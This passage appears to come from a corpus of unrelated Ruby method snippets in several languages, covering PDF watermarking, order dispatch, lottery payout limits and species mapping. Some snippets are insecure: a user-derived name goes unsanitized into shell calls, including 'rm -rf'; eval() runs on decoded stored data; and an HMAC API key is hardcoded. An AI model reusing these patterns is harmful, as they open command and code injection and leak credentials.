(_delkaTextu / 2) - Math.cos(@@UHEL) * _uhloprickaPul\n _finalXpozice = _textXpozice + _horizontalniPosun\n\n pdf.fill_color @@BARVAPISMA\n pdf.draw_text(@username, :at => [_finalXpozice, _finalYpozice], :size => @@VELIKOSTPISMAU, :rotate => @@UHEL)\n \n #------------------------------------------------------------------------------------------------\n # UMISTENI VODOTISKU DO HLAVICKY A PATICKY STRANKY\n #------------------------------------------------------------------------------------------------ \n datum = Time.new\n datumFormatted = datum.strftime(\"%d.%m.%Y %H:%M:%S\")\n\n headerText = \"Staženo uživatelem #{@username} z #{@hostname}, \" + datumFormatted\n if @footerText == 0\n @footerText = headerText\n end\n\n pdf.text_box(@footerText, :size => 11, :at => [0,20], :align => :center)\n pdf.text_box(headerText, :size => 11, :at => [0, page_height - 15], :width => page_width, :align => :center)\n pdf.fill_color \"ffffff\"\n pdf.text_box(headerText, :size => 1, :at => [0, page_height - 30], :width => page_width, :align => :center)\n\n for i in (1..4)\n @soubor.chop!\n end\n \n end #konec generovani PDF\n \n #--generator nahodneho hesla owner_pw\n @pdfHeslo = generujHeslo\n \n #--nastaveni opravneni pdf\n case @opravneni\n when 00 #vse zakazano\n @setPerm = \"\"\n when 01 #pouze tisk\n @setPerm = \"allow printing\"\n when 10 #pouze kopirovani\n @setPerm = \"allow copycontents\"\n when 11 #tisk a kopirovani\n @setPerm = \"allow printing copycontents\"\n end\n \n # Vložení vodoznaku do pozadí dokumentu\n # system(\"pdftk #{Rails.root}/public/pdf/#{@soubor}.pdf background #{Rails.root}/tmp/pdf/tmp_#{@username}_#{@soubor}.pdf output #{Rails.root}/tmp/pdf/#{@soubor}_#{@username}.pdf owner_pw #{@pdfHeslo} #{@setPerm}\")\n # Vložení vodoznaku do popředí dokumentu\n system(\"pdftk #{Rails.root}/public/pdf/#{@soubor}.pdf stamp #{Rails.root}/tmp/pdf/tmp_#{@username}_#{@soubor}.pdf output #{Rails.root}/tmp/pdf/#{@soubor}_#{@username}.pdf owner_pw #{@pdfHeslo} #{@setPerm}\")\n\n system(\"rm -rf #{Rails.root}/tmp/pdf/tmp_#{@username}_#{@soubor}.pdf\")\n \n send_file \"#{Rails.root}/tmp/pdf/#{@soubor}_#{@username}.pdf\", :type => \"application/pdf\"\n\n end",
"def procesarOc(ordenCompra)\n\trespuesta = ProveedorRecibirOcFtp.new.responderOc(ordenCompra)\n\tputs ':) Procesando OC: '<< ordenCompra._id.to_s\n\tif(respuesta) #Si la aceptamos, debemos ir a generar Factura\n\t\tputs ':) Aceptamos OC'\n\t\tif(ProveedorEnviarFacturaFtp.new.enviarFactura(ordenCompra._id)) #Si se genera la Factura, debemos despachar producto\n\t\t\tputs ':) Enviamos Factura'\n\t\t\tProveedorDespacharProductos.new.despacharProductos(ordenCompra, true)\n\t\t\tputs ':) Despachamos productos'\n\t\t\treturn respuesta\n\t\tend\n\tend\n\n\treturn respuesta\nend",
"def letzte_komponente\n \n end",
"def cicloInactiva\n \n #-- Se calcula la cantidad de insumo basico requerido por la maquina C \n insumoRequerido = @porcentajeIB * @cantidadMax\n \n #-- Unicamente si se tiene la cantidad requerida de insumo basico\n #-- en el contenedor, se procede a analizar el resto de la mezcla\n if @insumoBasico.cantidad >= insumoRequerido \n \n #-- Caso en el que la maquina posee un contenedor de enlace\n #-- con una maquina anterior.\n if @productoAnterior != nil\n \n\n \n #-- Se calcula la cantidad de producto anterior requerido\n #-- por la maquina Compleja\n productoAnteriorRequerido = @porcentajePA * @cantidadMax\n cantidadAObtener = productoAnteriorRequerido -\n @productoAnteriorRestante \n \n \n #-- Caso en el que el producto encontrado en el contenedor\n #-- es suficiente para comenzar el procesamiento de \n #-- la maquina\n if @productoAnterior.cantidad >= cantidadAObtener\n \n #-- Se resta la cantidad necesaria para comenzar a \n #-- procesar de la cantidad encontrada en el contenedor\n @productoAnterior.cantidad -= cantidadAObtener\n \n #-- Se disminuye la cantidad de insumo basico del \n #-- contenedor\n @insumoBasico.cantidad -= insumoRequerido\n @productoAnteriorRestante = 0.0\n \n #-- La maquina pasa al estado LLena\n @estado = \"Llena\"\n \n #-- Caso en el que el producto encontrado en el contenedor\n #-- no es el suficiente para comenzar el procesamiento de\n #-- de la maquina\n else\n #-- Se recolecta en su totalidad la fraccion restante \n #-- de producto anterior del contenedor\n @productoAnteriorRestante += @productoAnterior.cantidad\n @productoAnterior.cantidad = 0\n \n end\n \n #-- Caso en el que la maquina corresponde a la primera dentro\n #-- del proceso de produccion. Unicamente se verifica el insumo\n #-- basico, pues no se depende de ningun producto anterior.\n else\n @insumoBasico.cantidad -= insumoRequerido\n \n #-- La maquina pasa al estado LLena\n @estado = \"Llena\"\n end\n end\n end",
"def ca; end",
"def kcallipidos\n\t\t\t@lipidos * 9\n\t\tend",
"def set_kontrahenci\n #@kontrahenci = Kontrahenci.find(params[:id])\n @kontrahenci = Kontrahenci.joins(:opiekun).find(params[:id])\n end",
"def kml_naturalista\n return [] unless naturalista_obs.present?\n obs = eval(naturalista_obs.decodifica64)\n return [] unless obs.count > 0\n cadenas = []\n h = HTMLEntities.new # Para codificar el html y no marque error en el KML\n\n obs.each do |ob|\n # Para evitar las captivas\n #next if ob['captive']\n\n cadena = Hash.new\n\n # Los numere para poder armar los datos en el orden deseado\n cadena['01_nombre_cientifico'] = h.encode(especie.nombre_cientifico)\n cadena['02_nombre_comun'] = h.encode(especie.nom_com_prin(true))\n cadena['05_place_guess'] = h.encode(ob['place_guess'])\n cadena['06_observed_on'] = ob['observed_on'].gsub('-','/') if ob['observed_on'].present?\n cadena['07_captive'] = ob['captive'] ? 'Organismo silvestre / naturalizado' : nil\n cadena['08_quality_grade'] = ob['quality_grade']\n cadena['09_uri'] = ob['uri']\n\n if cadena['09_uri'].present?\n cadena['09_uri'] = cadena['09_uri'].gsub('www.inaturalist.org','naturalista.conabio.gob.mx').gsub('conabio.inaturalist.org', 'naturalista.conabio.gob.mx')\n end\n\n cadena['10_longitude'] = ob['longitude']\n cadena['11_latitude'] = ob['latitude']\n\n ob['photos'].each do |photo|\n cadena['03_thumb_url'] = photo['thumb_url']\n cadena['04_attribution'] = h.encode(photo['attribution'])\n break\n end\n cadenas << cadena\n end\n self.naturalista_kml = to_kml_naturalista(cadenas)\n end",
"def posti_disponibili\n self.vehicle.posti - self.n_passeggeri\n end",
"def to_s\n \"#{imie} #{nazwisko}\"\n end",
"def excede_control_de_pago_x_ticket_x_parlay(last_tickect_current_user, entrada) # define el monto maximo a sacar por parlay, ej. pago max para tripletas, cuartetas etc.. no por ticket sino por tipo de ticket parlay ok\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0 # inicializacion de variable de sumatoria en cero ok.\n #verificar tipo de parlay de ese ticket:\n parlay_count = Jugadalot.where(:ticket_id => last_tickect_current_user).count\n #parlay_count\n\n #switch case para asignar tipo de jugada segun tipo de parlay para buscar en control de pago:\n tipo_jugada = \"default\" # valor vacio para posible uso fuera de contexto de septimetas en adelante, hacer que retorne false la funcion ok. (no encontrado)\n \n #el switch case lo haremos de modo simple con el if statement por ahora ok:\n if parlay_count.to_i == 1\n tipo_jugada = \"directo\" \n end\n\n if parlay_count.to_i == 2\n tipo_jugada = \"pale\" \n end\n\n if parlay_count.to_i == 3\n tipo_jugada = \"tripleta\" \n end\n\n if parlay_count.to_i == 4\n tipo_jugada = \"cuarteta\" \n end\n\n if parlay_count.to_i == 5\n tipo_jugada = \"quinteta\" \n end\n\n if parlay_count.to_i == 6\n tipo_jugada = \"sexteta\" \n end\n\n if parlay_count.to_i == 7\n tipo_jugada = \"septimeta\" \n end\n\n if parlay_count.to_i == 8\n tipo_jugada = \"octaveta\" \n end\n\n control_monto_max_pago = Controldepagogt.where(:tipojugada => tipo_jugada ).first.limiteglobal.to_i\n\n #acabo de conseguir el limite global de ese parlay en curso, ahora buscar la sumatoria de todos las jugadalots.posiblepago de los ticket activo de hoy y ver si no sbobrepara ese limiet ok\n t_ids = Ticket.today.where(:activo => \"si\", :parlay => tipo_jugada.to_s ).ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_jugadas_a_sumar = Jugadalot.where(:ticket_id => t_ids)# POstgres casting sum string error ok..sum(:posiblepago).to_i\n \n if not @listado_jugadas_a_sumar.nil?\n @listado_jugadas_a_sumar.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += jugada.posiblepago.to_i\n end\n end\n\n \n\n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n #@sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0\n #t.each do |ticket|\n # @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n #end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay.to_i <= control_monto_max_pago.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"def zgloszenium_params\n params.require(:zgloszenium).permit(:imie, :nazwisko, :miasto, :adres, :telefon, :email, :data_urodzenia, :wiadomosc, :zaliczka, :oplacony, :kurs_id)\n end",
"def moverA_Despacho oc\n #sku = Integer(params[:sku])\n #cantidad = Integer(params[:cantidad])\n #oc = params[:oc]\n idDespacho = (Almacen.find_by depacho:true).almacenId\n @id = idDespacho\n sku = (((Orden.find_by idOrden: oc).sku).strip).to_i\n cantidad = (((Orden.find_by idOrden: oc).cantidad).strip).to_i\n puts cantidad\n cliente = (Orden.find_by idOrden: oc).cliente\n cantidadBodega = ((Inventario.find_by sku: sku).cantidadBodega).to_i\n cantidadBodega = cantidadBodega - cantidad\n (Inventario.find_by sku: sku).update(cantidadBodega: cantidadBodega)\n cantidadVendida = ((Inventario.find_by sku: sku).cantidadVendida).to_i\n cantidadVendida = cantidadVendida - cantidad\n (Inventario.find_by sku: sku).update(cantidadVendida: cantidadVendida)\n # producto = ((Inventario.find_by sku: sku).cantidadBodega).to_i - ((Inventario.find_by sku: sku).cantidadVendida).to_i\n # if sku == 19\n # StockItem.find(1).update(count_on_hand:producto)\n # elsif sku == 27\n # StockItem.find(2).update(count_on_hand:producto)\n # elsif sku == 40\n # StockItem.find(3).update(count_on_hand:producto)\n # elsif sku == 45\n # StockItem.find(4).update(count_on_hand:producto)\n # elsif sku == 47\n # StockItem.find(5).update(count_on_hand:producto)\n # end\n if cliente == 'internacional'\n #Vemos si tenemos lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n puts 'ehtra aca'\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n #necesario = cantidad\n #restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n puts necesario\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n restante -= k\n end\n\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n #Aquí termina el if internacional \n else\n almacenRecepcion = (IdGrupoProduccion.find_by idGrupo: cliente).idBodegaRecepcion\n #Vemos si hay lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n necesario = cantidad\n restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n restante -= k\n end\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n end\n\n end",
"def enviar_despacho(idfactura,cliente)\n begin \n logger.debug(\"...Inicio enviar despacho\")\n info = InfoGrupo.where('id_grupo = ?',cliente).first\n url = 'http://integra'+info[:numero].to_s+'.ing.puc.cl/api/despachos/recibir/'+idfactura.to_s\n #url = 'http://localhost:3000/api/despachos/recibir/'+idfactura.to_s\n request = Typhoeus::Request.new(\n url,\n method: :get,\n headers: { ContentType: \"application/json\"})\n response = request.run\n logger.debug(\"...Fin enviar despacho\")\n return {:validado => true}\n rescue => ex\n Applog.debug(ex.message,'enviar_despacho')\n return {:validado => false}\n end\nend",
"def verificar_datos_cliente_id_y_tipo_cliente\n\n @cliente_id = params['cliente_id'] # params.permit(:tipo_cliente) #params['cliente_id'] #require(:ciudadt).permit(:cliente_id)\n @tipo_cliente = params['tipo_cliente'] # \"klk\" # params['tipo_cliente'] # params.require(:ciudadt).permit(:tipo_cliente)\n\n #tambien lo guardo en la session para fines de acceso general desde cualquier parte del servicor 9controladores)\n session[:cliente_id] = @cliente_id\n session[:tipo_cliente] = @tipo_cliente\n \nend",
"def controlQxxt(jugadalot)\n \n @modelo = Aliasmodelosiglasorteot.where(:siglasorteo => jugadalot.sorteot.sigla).first.modelocontrolq \n @modelo = @modelo.capitalize.classify.constantize # Esto para convertir string en constante y poder acceder al modelos de Active Record. Scado de este link: https://stackoverflow.com/questions/34757582/using-variables-for-model-names-in-active-record \n c = @modelo.where(:numero => jugadalot.n1.to_i).first\n (c.limite - c.vendida) - jugadalot.monto # retorna la diferencia. # Disponible = (c.limite - c.vendida) \n\n end",
"def schubert; end",
"def set_wypozyczeny\n @wypozyczeny = Wypozyczenie.find(params[:id])\n end",
"def adres_kontr_params\n params.require(:adres_kontr).permit(:kontrahenci_id, :typ_adresu_id, :kraj, :kod_pocztowy, :miasto, :skrytka, :ulica, :nr_budynku, :nr_lokalu)\n end",
"def realizar_cuestionario\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario Tipo Frustraciones\"\n end",
"def zamowienium_params\n params.require(:zamowienium).permit(:ID_ZAMOWIENIA, :ID_KLIENTA, :ID_PRACOWNIKA, :CZAS_REALIZACJI)\n end",
"def asigna_redis(opc={})\n datos = {}\n datos[:data] = {}\n\n guarda_fotos_nombres_servicios if opc[:consumir_servicios]\n\n begin\n visitas = especie_estadisticas.visitas\n rescue # Por si no existia la estadistica inicial\n suma_visita\n visitas = especie_estadisticas.visitas\n end\n\n # Asigna si viene la peticion de nombre comun\n if nc = opc[:nombre_comun]\n datos[:id] = nc.id\n datos[:term] = I18n.transliterate(nc.nombre_comun.limpia)\n datos[:data][:nombre_comun] = nc.nombre_comun\n datos[:data][:id] = id\n datos[:data][:lengua] = nc.lengua\n\n # Para el score dependiendo la lengua\n lengua = nc.lengua.estandariza\n index = Adicional:: LENGUAS_ACEPTADAS.reverse.index(lengua) || 0\n datos[:score] = index*visitas\n\n else # Asigna si viene la peticion de nombre_cientifico\n datos[:id] = id\n datos[:term] = I18n.transliterate(nombre_cientifico.limpia)\n datos[:data][:nombre_comun] = x_nombre_comun_principal\n datos[:data][:id] = id\n datos[:data][:lengua] = x_lengua\n datos[:score] = Adicional::LENGUAS_ACEPTADAS.length*visitas\n end\n\n if opc[:foto_principal].present?\n datos[:data][:foto] = opc[:foto_principal]\n else\n datos[:data][:foto] = x_square_url # Foto square_url\n end\n\n datos[:data][:publico] = 0\n datos[:data][:nombre_cientifico] = nombre_cientifico.limpia\n datos[:data][:estatus] = Especie::ESTATUS_VALOR[estatus]\n datos[:data][:autoridad] = nombre_autoridad.try(:limpia)\n\n # Para poner si es publico o no\n if cat = scat\n datos[:data][:publico] = cat.publico\n end\n\n # Caracteristicas de riesgo y conservacion, ambiente y distribucion\n cons_amb_dist = {}\n caracteristicas = nom_cites_iucn_ambiente_prioritaria(iucn_ws: true) << tipo_distribucion\n\n caracteristicas.reduce({}, :merge).each do |nombre, valores|\n next unless valores.any?\n\n valores.each do |valor|\n cons_amb_dist[valor.estandariza] = valor\n end\n end\n\n datos[:data][:cons_amb_dist] = cons_amb_dist\n\n # Para saber cuantas fotos tiene\n datos[:data][:fotos] = x_fotos_totales\n\n # Para saber si tiene algun mapa\n if p = proveedor\n datos[:data][:geodatos] = p.geodatos[:cuales]\n end\n\n datos.stringify_keys\n end",
"def causas_conocidas\n %w{ cheque-propio cheque-de-terceros efectivo transferencia retenciones }\n end",
"def agencium_params\n params.require(:agencium).permit(:nombre, :mail, :contraseĮņa)\n end",
"def excede_control_de_pago_global()\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0 # inicializacionn de variable sumatoria en cero ok\n #La idea aqui es verificar si la sumatoria de posible pago de todas las jugadas de todos los tipos de tickets activos de hoy no excede el limite globar de riesgo del sistema ok\n \n #limite GLOBAL = 1 ADMINISTRATIVO OK Y TIPOJUGADA TAMBIEN MANUAL = GLOBAL OK TED. POPULATE IT IN DATABASE PRODUCTION OK:\n control_monto_max_pago_global = Controldepagogt.where(:tipojugada => \"global\" ).first.limiteglobal.to_i || 1 # setear un valor default ok \n\n t_ids = Ticket.today.where(:activo => \"si\").ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_sumatoria_posible_pago = Jugadalot.where(:ticket_id => t_ids)# postrges casting erro string ok .sum(:posiblepago).to_i\n \n if not @listado_sumatoria_posible_pago.nil?\n @listado_sumatoria_posible_pago.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += jugada.posiblepago.to_i\n end\n \n end\n \n \n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0\n# t.each do |ticket|\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n# end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global.to_i <= control_monto_max_pago_global.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"def vrat_celkovy_soucet_vah\n soucet = 0\n @pole_vah.each do |prvek| \n soucet += prvek.to_i\n end\n return soucet\n end",
"def oben() \n return @fahrbahn.obere_linke_ecke().y() \n end",
"def in_law; end",
